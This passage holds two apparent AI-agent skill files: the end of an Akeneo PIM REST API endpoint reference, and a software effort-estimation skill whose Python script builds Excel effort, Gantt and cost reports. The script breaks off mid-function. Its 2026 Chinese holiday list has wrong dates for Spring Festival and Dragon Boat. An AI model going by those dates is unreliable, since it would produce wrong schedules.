- "Partially update a family?" -> PATCH /api/rest/v1/families/{code}
- "Delete a family?" -> DELETE /api/rest/v1/families/{code}
- "List all variants?" -> GET /api/rest/v1/families/{family_code}/variants
- "Create a variant?" -> POST /api/rest/v1/families/{family_code}/variants
- "Get variant details?" -> GET /api/rest/v1/families/{family_code}/variants/{code}
- "Partially update a variant?" -> PATCH /api/rest/v1/families/{family_code}/variants/{code}
- "Search attributes?" -> GET /api/rest/v1/attributes
- "Create a attribute?" -> POST /api/rest/v1/attributes
- "Get attribute details?" -> GET /api/rest/v1/attributes/{code}
- "Partially update a attribute?" -> PATCH /api/rest/v1/attributes/{code}
- "List all options?" -> GET /api/rest/v1/attributes/{attribute_code}/options
- "Create a option?" -> POST /api/rest/v1/attributes/{attribute_code}/options
- "Get option details?" -> GET /api/rest/v1/attributes/{attribute_code}/options/{code}
- "Partially update a option?" -> PATCH /api/rest/v1/attributes/{attribute_code}/options/{code}
- "Search attribute-groups?" -> GET /api/rest/v1/attribute-groups
- "Create a attribute-group?" -> POST /api/rest/v1/attribute-groups
- "Get attribute-group details?" -> GET /api/rest/v1/attribute-groups/{code}
- "Partially update a attribute-group?" -> PATCH /api/rest/v1/attribute-groups/{code}
- "List all association-types?" -> GET /api/rest/v1/association-types
- "Create a association-type?" -> POST /api/rest/v1/association-types
- "Get association-type details?" -> GET /api/rest/v1/association-types/{code}
- "Partially update a association-type?" -> PATCH /api/rest/v1/association-types/{code}
- "List all channels?" -> GET /api/rest/v1/channels
- "Create a channel?" -> POST /api/rest/v1/channels
- "Get channel details?" -> GET /api/rest/v1/channels/{code}
- "Partially update a channel?" -> PATCH /api/rest/v1/channels/{code}
- "Search locales?" -> GET /api/rest/v1/locales
- "Get locale details?" -> GET /api/rest/v1/locales/{code}
- "Search categories?" -> GET /api/rest/v1/categories
- "Create a category?" -> POST /api/rest/v1/categories
- "Get category details?" -> GET /api/rest/v1/categories/{code}
- "Partially update a category?" -> PATCH /api/rest/v1/categories/{code}
- "Create a category-media-file?" -> POST /api/rest/v1/category-media-files
- "List all download?" -> GET /api/rest/v1/category-media-files/{file_path}/download
- "Search currencies?" -> GET /api/rest/v1/currencies
- "Get currency details?" -> GET /api/rest/v1/currencies/{code}
- "List all measure-families?" -> GET /api/rest/v1/measure-families
- "Get measure-family details?" -> GET /api/rest/v1/measure-families/{code}
- "List all measurement-families?" -> GET /api/rest/v1/measurement-families
- "List all reference-entities?" -> GET /api/rest/v1/reference-entities
- "Get reference-entity details?" -> GET /api/rest/v1/reference-entities/{code}
- "Partially update a reference-entity?" -> PATCH /api/rest/v1/reference-entities/{code}
- "List all attributes?" -> GET /api/rest/v1/reference-entities/{reference_entity_code}/attributes
- "Get attribute details?" -> GET /api/rest/v1/reference-entities/{reference_entity_code}/attributes/{code}
- "Partially update a attribute?" -> PATCH /api/rest/v1/reference-entities/{reference_entity_code}/attributes/{code}
- "List all options?" -> GET /api/rest/v1/reference-entities/{reference_entity_code}/attributes/{attribute_code}/options
- "Get option details?" -> GET /api/rest/v1/reference-entities/{reference_entity_code}/attributes/{attribute_code}/options/{code}
- "Partially update a option?" -> PATCH /api/rest/v1/reference-entities/{reference_entity_code}/attributes/{attribute_code}/options/{code}
- "Search records?" -> GET /api/rest/v1/reference-entities/{reference_entity_code}/records
- "Get record details?" -> GET /api/rest/v1/reference-entities/{reference_entity_code}/records/{code}
- "Partially update a record?" -> PATCH /api/rest/v1/reference-entities/{reference_entity_code}/records/{code}
- "Create a reference-entities-media-file?" -> POST /api/rest/v1/reference-entities-media-files
- "Get reference-entities-media-file details?" -> GET /api/rest/v1/reference-entities-media-files/{code}
- "List all asset-families?" -> GET /api/rest/v1/asset-families
- "Get asset-family details?" -> GET /api/rest/v1/asset-families/{code}
- "Partially update a asset-family?" -> PATCH /api/rest/v1/asset-families/{code}
- "List all attributes?" -> GET /api/rest/v1/asset-families/{asset_family_code}/attributes
- "Get attribute details?" -> GET /api/rest/v1/asset-families/{asset_family_code}/attributes/{code}
- "Partially update a attribute?" -> PATCH /api/rest/v1/asset-families/{asset_family_code}/attributes/{code}
- "List all options?" -> GET /api/rest/v1/asset-families/{asset_family_code}/attributes/{attribute_code}/options
- "Get option details?" -> GET /api/rest/v1/asset-families/{asset_family_code}/attributes/{attribute_code}/options/{code}
- "Partially update a option?" -> PATCH /api/rest/v1/asset-families/{asset_family_code}/attributes/{attribute_code}/options/{code}
- "Create a asset-media-file?" -> POST /api/rest/v1/asset-media-files
- "Get asset-media-file details?" -> GET /api/rest/v1/asset-media-files/{code}
- "Search assets?" -> GET /api/rest/v1/asset-families/{asset_family_code}/assets
- "Get asset details?" -> GET /api/rest/v1/asset-families/{asset_family_code}/assets/{code}
- "Partially update a asset?" -> PATCH /api/rest/v1/asset-families/{asset_family_code}/assets/{code}
- "Delete a asset?" -> DELETE /api/rest/v1/asset-families/{asset_family_code}/assets/{code}
- "List all assets?" -> GET /api/rest/v1/assets
- "Create a asset?" -> POST /api/rest/v1/assets
- "Get asset details?" -> GET /api/rest/v1/assets/{code}
- "Partially update a asset?" -> PATCH /api/rest/v1/assets/{code}
- "Get reference-file details?" -> GET /api/rest/v1/assets/{asset_code}/reference-files/{locale_code}
- "List all download?" -> GET /api/rest/v1/assets/{asset_code}/reference-files/{locale_code}/download
- "Get variation-file details?" -> GET /api/rest/v1/assets/{asset_code}/variation-files/{channel_code}/{locale_code}
- "List all download?" -> GET /api/rest/v1/assets/{asset_code}/variation-files/{channel_code}/{locale_code}/download
- "List all asset-categories?" -> GET /api/rest/v1/asset-categories
- "Create a asset-category?" -> POST /api/rest/v1/asset-categories
- "Get asset-category details?" -> GET /api/rest/v1/asset-categories/{code}
- "Partially update a asset-category?" -> PATCH /api/rest/v1/asset-categories/{code}
- "List all asset-tags?" -> GET /api/rest/v1/asset-tags
- "Get asset-tag details?" -> GET /api/rest/v1/asset-tags/{code}
- "Partially update a asset-tag?" -> PATCH /api/rest/v1/asset-tags/{code}
- "List all rest?" -> GET /api/rest/v1
- "Create a token?" -> POST /api/oauth/v1/token
- "List all system-information?" -> GET /api/rest/v1/system-information
- "How to authenticate?" -> See Auth section
## Response Tips
- Check response schemas in references/api-spec.lap for field details
- List endpoints may support pagination; check for limit, offset, or cursor params
- Create/update endpoints typically return the created/updated object
## CLI
```bash
# Update this spec to the latest version
npx @lap-platform/lapsh get akeneo-pim-rest-api -o references/api-spec.lap
# Search for related APIs
npx @lap-platform/lapsh search akeneo-pim-rest-api
```
## References
- Full spec: See references/api-spec.lap for complete endpoint details, parameter tables, and response schemas
> Generated from the official API spec by [LAP](https://lap.sh)
Software Development Work Estimation Skill. Triggered when user mentions "work estimation", "project estimation", "effort estimation", "timeline assessment",...
---
name: work-estimation-en
description: |
Software Development Work Estimation Skill. Triggered when user mentions "work estimation", "project estimation", "effort estimation", "timeline assessment", "task breakdown", "man-hour calculation", "development cycle", or similar terms.
Accepts user requirements text or documents, automatically breaks down work items and estimates effort, outputting Excel evaluation reports.
version: 1.0.0
---
# 📊 Software Development Work Estimation
Automatically analyze user requirements, break them into specific work items, and estimate effort across multiple dimensions, outputting structured Excel reports.
## Workflow
### Step 1: Collect Requirements
User provides:
- Requirements description (plain text)
- Or requirements document path (supports .md, .docx, .txt formats)
### Step 2: AI Requirements Breakdown
AI automatically:
1. Analyzes requirement content
2. Breaks down into specific work modules
3. Categorizes by dimension (Analysis, Design, Frontend, Backend, Algorithm, Testing)
### Step 3: Effort Estimation
For each work item, evaluate:
- Workload (man-days)
- Complexity (Low/Medium/High)
- Risk Level (Low/Medium/High)
- Parallel Feasibility
- Prerequisites
### Step 4: Generate Excel
Multi-sheet Excel report:
- Overview
- Dimension Details
- Gantt Chart (Project Progress)
- Key Risk Items
- Coordination Relations
- Cost Estimation
## Output Description
### Sheet 1: Overview
| Work Module | Analysis | Design | Frontend | Backend | Algorithm | Testing | Total |
|------------|----------|--------|----------|---------|-----------|--------|-------|
| Module A | 1 day | 2 days | 3 days | 5 days | 1 day | 2 days | 14 days |
### Sheet 2-7: Dimension Details
Work content, estimation basis, and estimated hours by dimension.
### Sheet 8: Gantt Chart
Visual display of parallel work, critical path, and milestones. **Automatically skips weekends and holidays**.
### Sheet 9: Key Risk Assessment
Items with high risk or uncertainty are listed separately with explanations and recommendations.
### Sheet 10: Coordination Relations
Dependencies between work items, prerequisites, and coordination matters.
### Sheet 11: Cost Estimation
Three parts:
- **Labor Cost**: Role × man-days × daily rate
- **Hardware/Software Cost**: Servers, domains, SSL, third-party services
- **Total Budget**: Includes 15% contingency buffer
## Estimation Reference
| Complexity | Frontend | Backend | Algorithm | Testing |
|------------|----------|---------|-----------|---------|
| Low | 1-2 days | 1-3 days | 1-3 days | 0.5-1 day |
| Medium | 3-5 days | 3-7 days | 3-7 days | 1-3 days |
| High | 5-10 days| 7-14 days| 7-14 days| 3-5 days |
## Notes
- Estimation based on standard team config (1 frontend, 1 backend, 1 tester)
- Parallel work reduces calendar time, not man-hours
- Reserve 10-20% buffer for changes
- Adjust based on actual team situation
## Example
**User:** Help me estimate this project: Develop an e-commerce mini-app with user login, product display, shopping cart, and order payment
**AI:**
```
Got it! I'll help you with the work estimation.
Based on your requirements, I've broken them down into:
📦 **Work Modules**
1. User System (login, register, profile)
2. Product Module (list, detail, search)
3. Shopping Cart Module
4. Order Module
5. Payment Module
6. Infrastructure (routing, state management, API)
Generating detailed estimation report...
```
FILE:README.md
# 📊 Software Development Work Estimation
Automatically analyze requirements, break down work items, estimate effort, and output professional Excel evaluation reports.
## Features
- ✅ **AI Smart Breakdown** - Automatically analyze requirements and split into work modules
- ✅ **Six-Dimension Estimation** - Analysis, Design, Frontend, Backend, Algorithm, Testing
- ✅ **Gantt Chart** - Visual project progress with parallel work display
- ✅ **Risk Assessment** - Highlight high-risk and uncertain items
- ✅ **Coordination Relations** - Clear dependencies and coordination matters
## Output Structure
| Sheet | Content |
|-------|---------|
| Overview | All work items summary with dimension ratios |
| Analysis | Analysis dimension details |
| Design | Design dimension details |
| Frontend | Frontend development details |
| Backend | Backend development details |
| Algorithm | Algorithm development details |
| Testing | Testing details |
| Gantt Chart | Project progress (skips weekends/holidays) |
| Key Risks | High-risk items |
| Coordination | Dependencies and coordination |
| Cost Estimation | Labor + hardware/software costs |
## Usage
Describe your requirements:
```
Help me estimate this project: Develop an e-commerce mini-app with user login, product display, shopping cart, and order payment
```
## Files
```
work-estimation-en/
├── SKILL.md # Skill definition
├── README.md # This file
├── scripts/
│ └── generate_estimation.py # Excel generator
├── references/
│ └── evaluation-guide.md # Estimation guide
└── evals/
└── evals.json # Test cases
```
FILE:scripts/generate_estimation.py
"""
软件开发工时评估 Excel 生成器
输入:需求描述和拆分后的工作项
输出:多 Sheet 的 Excel 评估报告
"""
import json
from datetime import datetime, timedelta
from openpyxl import Workbook
from openpyxl.styles import Font, PatternFill, Alignment, Border, Side
from openpyxl.utils import get_column_letter
from openpyxl.chart import BarChart, PieChart, Reference
from openpyxl.chart.label import DataLabelList
from openpyxl.chart.series import DataPoint
from openpyxl.drawing.fill import PatternFillProperties, ColorChoice
# 中国法定节假日(示例,可扩展)
HOLIDAYS = [
# 2026年
datetime(2026, 1, 1), # 元旦
datetime(2026, 1, 28), datetime(2026, 1, 29), datetime(2026, 1, 30), # 春节
datetime(2026, 2, 1), datetime(2026, 2, 2), datetime(2026, 2, 3), datetime(2026, 2, 4),
datetime(2026, 4, 4), datetime(2026, 4, 5), datetime(2026, 4, 6), # 清明
datetime(2026, 5, 1), datetime(2026, 5, 2), datetime(2026, 5, 3), # 劳动节
datetime(2026, 6, 1), # 端午
datetime(2026, 10, 1), datetime(2026, 10, 2), datetime(2026, 10, 3), # 国庆
datetime(2026, 10, 4), datetime(2026, 10, 5), datetime(2026, 10, 6), datetime(2026, 10, 7),
]
# 样式定义
HEADER_FILL = PatternFill(start_color="4472C4", end_color="4472C4", fill_type="solid")
HEADER_FONT = Font(color="FFFFFF", bold=True)
TITLE_FONT = Font(size=14, bold=True)
SUBTITLE_FONT = Font(size=11, bold=True)
MONEY_FILL = PatternFill(start_color="FFF2CC", end_color="FFF2CC", fill_type="solid")
BORDER_THIN = Border(
left=Side(style='thin'),
right=Side(style='thin'),
top=Side(style='thin'),
bottom=Side(style='thin')
)
def is_working_day(date):
"""判断是否为工作日(跳过周末和节假日)"""
if date.weekday() >= 5: # 0=周一, 5=周六, 6=周日
return False
if date in HOLIDAYS:
return False
return True
def add_working_days(start_date, days):
"""添加工作日后返回结束日期(跳过周末和节假日)"""
current = start_date
remaining = days
while remaining > 0:
current += timedelta(days=1)
if is_working_day(current):
remaining -= 1
return current
def get_working_days_between(start_date, end_date):
"""计算两个日期之间的工作日数"""
count = 0
current = start_date
while current <= end_date:
if is_working_day(current):
count += 1
current += timedelta(days=1)
return count
def set_header(ws, row, col, value):
cell = ws.cell(row=row, column=col, value=value)
cell.fill = HEADER_FILL
cell.font = HEADER_FONT
cell.alignment = Alignment(horizontal='center', vertical='center')
cell.border = BORDER_THIN
return cell
def set_cell(ws, row, col, value, bold=False, align='left', fill=None):
cell = ws.cell(row=row, column=col, value=value)
cell.font = Font(bold=bold)
cell.alignment = Alignment(horizontal=align, vertical='center')
cell.border = BORDER_THIN
if fill:
cell.fill = fill
return cell
def auto_width(ws):
for column in ws.columns:
max_length = 0
column_letter = get_column_letter(column[0].column)
for cell in column:
try:
if len(str(cell.value)) > max_length:
max_length = len(str(cell.value))
except:
pass
adjusted_width = min(max_length + 2, 50)
ws.column_dimensions[column_letter].width = adjusted_width
def generate_estimation_excel(requirements: str, modules: list, output_path: str = None):
"""
生成工时评估 Excel
Args:
requirements: 需求描述
modules: 工作模块列表,每项包含:
{
"name": "模块名称",
"desc": "模块描述",
"items": [
{
"name": "工作项名称",
"analysis": 1.0, # 需求分析人天
"design": 2.0, # 设计人天
"frontend": 3.0, # 前端人天
"backend": 5.0, # 后台人天
"algorithm": 0.0, # 算法人天
"test": 2.0, # 测试人天
"complexity": "中",
"risk": "低",
"parallel": True,
"prerequisite": "",
"coordination": ""
}
]
}
output_path: 输出路径
"""
wb = Workbook()
# Sheet 1: 工时总览
create_overview_sheet(wb, modules)
# Sheet 2-7: 各维度详情
create_dimensions_sheets(wb, modules)
# Sheet 8: 甘特图
create_gantt_sheet(wb, modules)
# Sheet 9: 重点评估
create_key_risks_sheet(wb, modules)
# Sheet 10: 关系协调
create_coordination_sheet(wb, modules)
# Sheet 11: 成本估算
create_cost_sheet(wb, modules)
# 保存
if not output_path:
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
output_path = f"工时评估_{timestamp}.xlsx"
wb.save(output_path)
return output_path
def create_overview_sheet(wb, modules):
ws = wb.active
ws.title = "工时总览"
# 标题
ws.cell(row=1, column=1, value="软件开发工时评估总览").font = TITLE_FONT
ws.cell(row=2, column=1, value=f"生成时间: {datetime.now().strftime('%Y-%m-%d %H:%M')}")
# 表头
headers = ["工作模块", "工作项", "需求分析", "设计", "前端", "后台", "算法", "测试", "小计", "复杂度", "风险", "并行"]
for i, h in enumerate(headers, 1):
set_header(ws, 4, i, h)
row = 5
total = {"analysis": 0, "design": 0, "frontend": 0, "backend": 0, "algorithm": 0, "test": 0}
module_starts = []
for module in modules:
module_start = row
for item in module.get("items", []):
subtotal = item.get("analysis", 0) + item.get("design", 0) + item.get("frontend", 0) + \
item.get("backend", 0) + item.get("algorithm", 0) + item.get("test", 0)
set_cell(ws, row, 1, module["name"])
set_cell(ws, row, 2, item["name"])
set_cell(ws, row, 3, item.get("analysis", 0))
set_cell(ws, row, 4, item.get("design", 0))
set_cell(ws, row, 5, item.get("frontend", 0))
set_cell(ws, row, 6, item.get("backend", 0))
set_cell(ws, row, 7, item.get("algorithm", 0))
set_cell(ws, row, 8, item.get("test", 0))
set_cell(ws, row, 9, subtotal, bold=True, align='center')
set_cell(ws, row, 10, item.get("complexity", "中"))
set_cell(ws, row, 11, item.get("risk", "低"))
set_cell(ws, row, 12, "✓" if item.get("parallel", True) else "×")
total["analysis"] += item.get("analysis", 0)
total["design"] += item.get("design", 0)
total["frontend"] += item.get("frontend", 0)
total["backend"] += item.get("backend", 0)
total["algorithm"] += item.get("algorithm", 0)
total["test"] += item.get("test", 0)
row += 1
module_starts.append((module["name"], module_start, row - 1))
# 合计行
row += 1
set_header(ws, row, 1, "合计")
set_cell(ws, row, 2, "", bold=True)
set_cell(ws, row, 3, total["analysis"], bold=True, align='center')
set_cell(ws, row, 4, total["design"], bold=True, align='center')
set_cell(ws, row, 5, total["frontend"], bold=True, align='center')
set_cell(ws, row, 6, total["backend"], bold=True, align='center')
set_cell(ws, row, 7, total["algorithm"], bold=True, align='center')
set_cell(ws, row, 8, total["test"], bold=True, align='center')
grand_total = sum(total.values())
set_cell(ws, row, 9, grand_total, bold=True, align='center')
# 维度统计
row += 2
ws.cell(row=row, column=1, value="维度工时统计").font = SUBTITLE_FONT
row += 1
dim_headers = ["维度", "工时(人天)", "占比"]
for i, h in enumerate(dim_headers, 1):
set_header(ws, row, i, h)
row += 1
dimensions = [
("需求分析", total["analysis"]),
("设计", total["design"]),
("前端", total["frontend"]),
("后台", total["backend"]),
("算法", total["algorithm"]),
("测试", total["test"]),
]
for dim, hours in dimensions:
if hours > 0:
pct = f"{hours/grand_total*100:.1f}%" if grand_total > 0 else "0%"
set_cell(ws, row, 1, dim)
set_cell(ws, row, 2, hours, align='center')
set_cell(ws, row, 3, pct, align='center')
row += 1
auto_width(ws)
# 添加工时分布图表
create_distribution_charts(ws, modules)
def create_dimensions_sheets(wb, modules):
dimension_map = {
"需求分析": "analysis",
"设计": "design",
"前端": "frontend",
"后台": "backend",
"算法": "algorithm",
"测试": "test"
}
for sheet_name, key in dimension_map.items():
ws = wb.create_sheet(title=sheet_name)
ws.cell(row=1, column=1, value=f"{sheet_name}详情").font = TITLE_FONT
headers = ["工作模块", "工作项", "工作内容", "评估工时(人天)", "评估依据", "复杂度", "备注"]
for i, h in enumerate(headers, 1):
set_header(ws, 3, i, h)
row = 4
for module in modules:
for item in module.get("items", []):
hours = item.get(key, 0)
if hours > 0:
set_cell(ws, row, 1, module["name"])
set_cell(ws, row, 2, item["name"])
set_cell(ws, row, 3, item.get("desc", ""))
set_cell(ws, row, 4, hours, align='center')
set_cell(ws, row, 5, item.get("basis", f"基于{sheet_name}标准"))
set_cell(ws, row, 6, item.get("complexity", "中"))
set_cell(ws, row, 7, item.get("note", ""))
row += 1
auto_width(ws)
def create_gantt_sheet(wb, modules):
ws = wb.create_sheet(title="甘特图")
ws.cell(row=1, column=1, value="项目进度甘特图(跳过周末和节假日)").font = TITLE_FONT
ws.cell(row=2, column=1, value=f"生成时间: {datetime.now().strftime('%Y-%m-%d')}")
headers = ["任务ID", "任务名称", "执行人", "开始日期", "结束日期", "工作日(天)", "日历日(天)", "前置任务", "状态", "里程碑"]
for i, h in enumerate(headers, 1):
set_header(ws, 3, i, h)
# 从今天开始,跳过周末和节假日
start_date = datetime.now()
# 确保从工作日开始
while not is_working_day(start_date):
start_date += timedelta(days=1)
row = 4
task_id = 1
milestones = ["需求确认", "设计完成", "开发完成", "测试完成", "上线部署"]
milestone_idx = 0
for module in modules:
for item in module.get("items", []):
total_hours = item.get("analysis", 0) + item.get("design", 0) + \
item.get("frontend", 0) + item.get("backend", 0) + \
item.get("algorithm", 0) + item.get("test", 0)
working_days = max(1, int(total_hours))
# 计算工作日结束日期
end_date = add_working_days(start_date, working_days)
# 计算日历天数(含休息日)
calendar_days = (end_date - start_date).days + 1
# 判断里程碑
is_milestone = ""
if milestone_idx < len(milestones) and working_days >= 5:
is_milestone = milestones[milestone_idx]
milestone_idx += 1
set_cell(ws, row, 1, f"T{task_id:03d}")
set_cell(ws, row, 2, f"{module['name']}-{item['name']}")
set_cell(ws, row, 3, item.get("assignee", "待分配"))
set_cell(ws, row, 4, start_date.strftime("%Y-%m-%d"))
set_cell(ws, row, 5, end_date.strftime("%Y-%m-%d"))
set_cell(ws, row, 6, working_days, align='center')
set_cell(ws, row, 7, calendar_days, align='center')
set_cell(ws, row, 8, item.get("prerequisite", "-"))
set_cell(ws, row, 9, "待开始")
set_cell(ws, row, 10, is_milestone)
# 下一个任务从休息日后开始(跳过周末和节假日)
next_start = end_date + timedelta(days=1)
while not is_working_day(next_start):
next_start += timedelta(days=1)
start_date = next_start
task_id += 1
row += 1
# 模块间休息1天(跳过周末和节假日)
start_date += timedelta(days=1)
while not is_working_day(start_date):
start_date += timedelta(days=1)
# 项目总工期
row += 2
if task_id > 1:
ws.cell(row=row, column=1, value="项目总工期(工作日)").font = SUBTITLE_FONT
# 重新计算总工期
total_start = datetime.now()
while not is_working_day(total_start):
total_start += timedelta(days=1)
final_end = datetime.now()
for m in modules:
for it in m.get("items", []):
days = int(it.get("analysis", 0) + it.get("design", 0) + it.get("frontend", 0) + \
it.get("backend", 0) + it.get("algorithm", 0) + it.get("test", 0))
final_end = add_working_days(total_start, days)
total_start = final_end + timedelta(days=1)
while not is_working_day(total_start):
total_start += timedelta(days=1)
total_workdays = get_working_days_between(datetime.now(), final_end)
ws.cell(row=row, column=3, value=f"约 {total_workdays} 个工作日")
auto_width(ws)
# 添加甘特图条形图
create_gantt_chart(ws, modules)
def create_cost_sheet(wb, modules):
"""创建成本估算表"""
ws = wb.create_sheet(title="成本估算")
ws.cell(row=1, column=1, value="项目成本估算").font = TITLE_FONT
ws.cell(row=2, column=1, value=f"生成时间: {datetime.now().strftime('%Y-%m-%d')}")
# ========== 人力成本 ==========
row = 4
ws.cell(row=row, column=1, value="一、人力成本").font = SUBTITLE_FONT
row += 1
headers = ["角色", "工时(人天)", "人数", "日均成本(元)", "小计(元)", "备注"]
for i, h in enumerate(headers, 1):
set_header(ws, row, i, h)
row += 1
# 计算各角色总工时
total = {"analysis": 0, "design": 0, "frontend": 0, "backend": 0, "algorithm": 0, "test": 0}
for module in modules:
for item in module.get("items", []):
total["analysis"] += item.get("analysis", 0)
total["design"] += item.get("design", 0)
total["frontend"] += item.get("frontend", 0)
total["backend"] += item.get("backend", 0)
total["algorithm"] += item.get("algorithm", 0)
total["test"] += item.get("test", 0)
# 角色映射和日均成本(可配置)
role_rates = [
("需求分析师", total["analysis"], 1, 1500, "需求分析"),
("UI/UX设计师", total["design"], 1, 1200, "设计"),
("前端工程师", total["frontend"], 1, 1500, "前端"),
("后端工程师", total["backend"], 1, 1800, "后台"),
("算法工程师", total["algorithm"], 1, 2000, "算法"),
("测试工程师", total["test"], 1, 1200, "测试"),
]
total_labor = 0
for role, days, count, daily_rate, _ in role_rates:
if days > 0:
subtotal = days * count * daily_rate
total_labor += subtotal
set_cell(ws, row, 1, role)
set_cell(ws, row, 2, days, align='center')
set_cell(ws, row, 3, count, align='center')
set_cell(ws, row, 4, daily_rate, align='center')
set_cell(ws, row, 5, subtotal, align='center', fill=MONEY_FILL)
set_cell(ws, row, 6, "")
row += 1
# 人力成本合计
set_header(ws, row, 1, "人力成本合计")
set_cell(ws, row, 5, total_labor, bold=True, align='center', fill=MONEY_FILL)
row += 2
# ========== 软硬件成本 ==========
ws.cell(row=row, column=1, value="二、软硬件成本").font = SUBTITLE_FONT
row += 1
headers = ["类别", "项目", "规格/数量", "单次成本(元)", "周期(月)", "小计(元)", "备注"]
for i, h in enumerate(headers, 1):
set_header(ws, row, i, h)
row += 1
# 软硬件成本项目
hw_items = [
("服务器", "云服务器(ECS)", "2核4G", 500, 3, "部署、后端服务"),
("服务器", "数据库服务(RDS)", "基础版", 300, 3, "MySQL数据库"),
("服务器", "对象存储(OSS)", "100GB", 50, 3, "文件存储"),
("域名", "域名注册", "1个", 50, 12, "域名费用"),
("SSL证书", "HTTPS证书", "1个/年", 200, 12, "安全证书"),
("第三方服务", "短信服务", "按量付费", 100, 3, "验证码短信"),
("第三方服务", "支付通道", "按交易收费", 0, 3, "支付宝/微信"),
("第三方服务", "CDN加速", "基础套餐", 100, 3, "静态资源加速"),
("软件", "开发工具", "IDE许可证", 0, 0, "免费工具"),
("软件", "设计软件", "设计工具", 0, 0, "免费/Figma"),
]
total_hw = 0
for cat, item, spec, unit_cost, months, note in hw_items:
subtotal = unit_cost * months
total_hw += subtotal
set_cell(ws, row, 1, cat)
set_cell(ws, row, 2, item)
set_cell(ws, row, 3, spec)
set_cell(ws, row, 4, unit_cost if unit_cost > 0 else "-", align='center')
set_cell(ws, row, 5, f"{months}月" if months > 0 else "-", align='center')
set_cell(ws, row, 6, subtotal if subtotal > 0 else "-", align='center', fill=MONEY_FILL)
set_cell(ws, row, 7, note)
row += 1
# 软硬件成本合计
set_header(ws, row, 1, "软硬件成本合计")
set_cell(ws, row, 6, total_hw, bold=True, align='center', fill=MONEY_FILL)
row += 2
# ========== 项目总成本 ==========
ws.cell(row=row, column=1, value="三、项目总成本").font = SUBTITLE_FONT
row += 1
total_project = total_labor + total_hw
set_header(ws, row, 1, "项目总预算")
set_cell(ws, row, 2, total_project, bold=True, align='center', fill=MONEY_FILL)
ws.cell(row=row, column=3, value=f"(人力{total_labor}元 + 软硬件{total_hw}元)")
row += 2
# ========== 成本说明 ==========
ws.cell(row=row, column=1, value="四、成本说明").font = SUBTITLE_FONT
row += 1
notes = [
"1. 人力成本按每天8小时工作制计算",
"2. 日均成本为参考价,可根据实际情况调整",
"3. 软硬件成本按最低配置估算,流量费用另计",
"4. 第三方服务(支付、短信)通常有交易手续费",
"5. 未包含项目管理和沟通成本",
"6. 预留10-20%应急预算",
]
for note in notes:
ws.cell(row=row, column=1, value=note)
row += 1
# 建议预算
row += 1
recommended = int(total_project * 1.15) # 15% buffer
set_cell(ws, row, 1, f"建议项目预算(含15%应急): ", bold=True)
set_cell(ws, row, 2, recommended, bold=True, align='center', fill=MONEY_FILL)
ws.cell(row=row, column=3, value="元")
auto_width(ws)
def create_key_risks_sheet(wb, modules):
ws = wb.create_sheet(title="重点评估")
ws.cell(row=1, column=1, value="重点评估与风险项").font = TITLE_FONT
ws.cell(row=2, column=1, value="以下列出高风险、不确定性大或技术难点明显的工作项")
headers = ["工作模块", "工作项", "风险类型", "风险描述", "影响评估", "建议措施", "优先级"]
for i, h in enumerate(headers, 1):
set_header(ws, 4, i, h)
row = 5
risk_types = {
"高": "高风险",
"中": "中等风险",
"低": "低风险"
}
for module in modules:
for item in module.get("items", []):
risk = item.get("risk", "低")
if risk in ["高", "中"]:
# 评估不确定性
if "algorithm" in item and item.get("algorithm", 0) > 3:
risk_type = "技术难点"
elif not item.get("basis"):
risk_type = "需求不明确"
else:
risk_type = risk_types.get(risk, "其他")
set_cell(ws, row, 1, module["name"])
set_cell(ws, row, 2, item["name"])
set_cell(ws, row, 3, risk_type)
set_cell(ws, row, 4, item.get("risk_desc", f"该工作项复杂度{item.get('complexity', '中')},存在一定不确定性"))
set_cell(ws, row, 5, item.get("impact", "可能导致进度延误或需要额外资源"))
set_cell(ws, row, 6, item.get("suggestion", "建议预留buffer时间,提前技术验证"))
set_cell(ws, row, 7, "高" if risk == "高" else "中", align='center')
row += 1
if row == 5:
set_cell(ws, row, 1, "暂无高风险项")
auto_width(ws)
def create_coordination_sheet(wb, modules):
ws = wb.create_sheet(title="关系协调")
ws.cell(row=1, column=1, value="工作关系与协调事项").font = TITLE_FONT
headers = ["工作模块", "工作项", "前置依赖", "协调事项", "协调对象", "协调时间点", "备注"]
for i, h in enumerate(headers, 1):
set_header(ws, 3, i, h)
row = 4
for module in modules:
for item in module.get("items", []):
# 检查是否有协调事项
has_coordination = item.get("coordination") or item.get("prerequisite")
set_cell(ws, row, 1, module["name"])
set_cell(ws, row, 2, item["name"])
set_cell(ws, row, 3, item.get("prerequisite", "-"))
set_cell(ws, row, 4, item.get("coordination", "-"))
set_cell(ws, row, 5, item.get("coord_target", "待确认"))
set_cell(ws, row, 6, item.get("coord_time", "开发前"))
set_cell(ws, row, 7, item.get("note", ""))
row += 1
# 添加协调关系说明
row += 2
ws.cell(row=row, column=1, value="协调关系类型说明:").font = SUBTITLE_FONT
row += 1
coord_types = [
("前置依赖", "某工作项必须在其他工作项完成后才能开始"),
("接口协调", "前后端需协调接口定义和数据格式"),
("资源协调", "需要申请特定资源(服务器、第三方服务等)"),
("评审协调", "需要安排评审会议(设计评审、代码评审等)"),
]
for coord_type, desc in coord_types:
set_cell(ws, row, 1, coord_type, bold=True)
set_cell(ws, row, 2, desc)
row += 1
auto_width(ws)
def create_gantt_chart(ws, modules):
"""在甘特图Sheet中创建条形图"""
# 准备图表数据区域(在甘特图数据下方)
chart_start_row = ws.max_row + 3
# 写入图表数据:任务名、开始日期、时长
ws.cell(row=chart_start_row, column=1, value="任务名称").font = Font(bold=True)
ws.cell(row=chart_start_row, column=2, value="开始日期").font = Font(bold=True)
ws.cell(row=chart_start_row, column=3, value="时长(天)").font = Font(bold=True)
row = chart_start_row + 1
chart_data_start = row
start_date = datetime.now()
while not is_working_day(start_date):
start_date += timedelta(days=1)
for module in modules:
for item in module.get("items", []):
total = item.get("analysis", 0) + item.get("design", 0) + \
item.get("frontend", 0) + item.get("backend", 0) + \
item.get("algorithm", 0) + item.get("test", 0)
days = max(1, int(total))
end_date = add_working_days(start_date, days)
ws.cell(row=row, column=1, value=f"{module['name']}-{item['name']}")
ws.cell(row=row, column=2, value=start_date)
ws.cell(row=row, column=3, value=days)
# 格式化日期
ws.cell(row=row, column=2).number_format = 'YYYY-MM-DD'
next_start = end_date + timedelta(days=1)
while not is_working_day(next_start):
next_start += timedelta(days=1)
start_date = next_start
row += 1
chart_data_end = row - 1
# 创建甘特图
chart = BarChart()
chart.type = "bar" # 横向条形图
chart.title = "项目进度甘特图"
chart.y_axis.title = "任务"
chart.x_axis.title = "日期"
chart.style = 10
# 数据系列
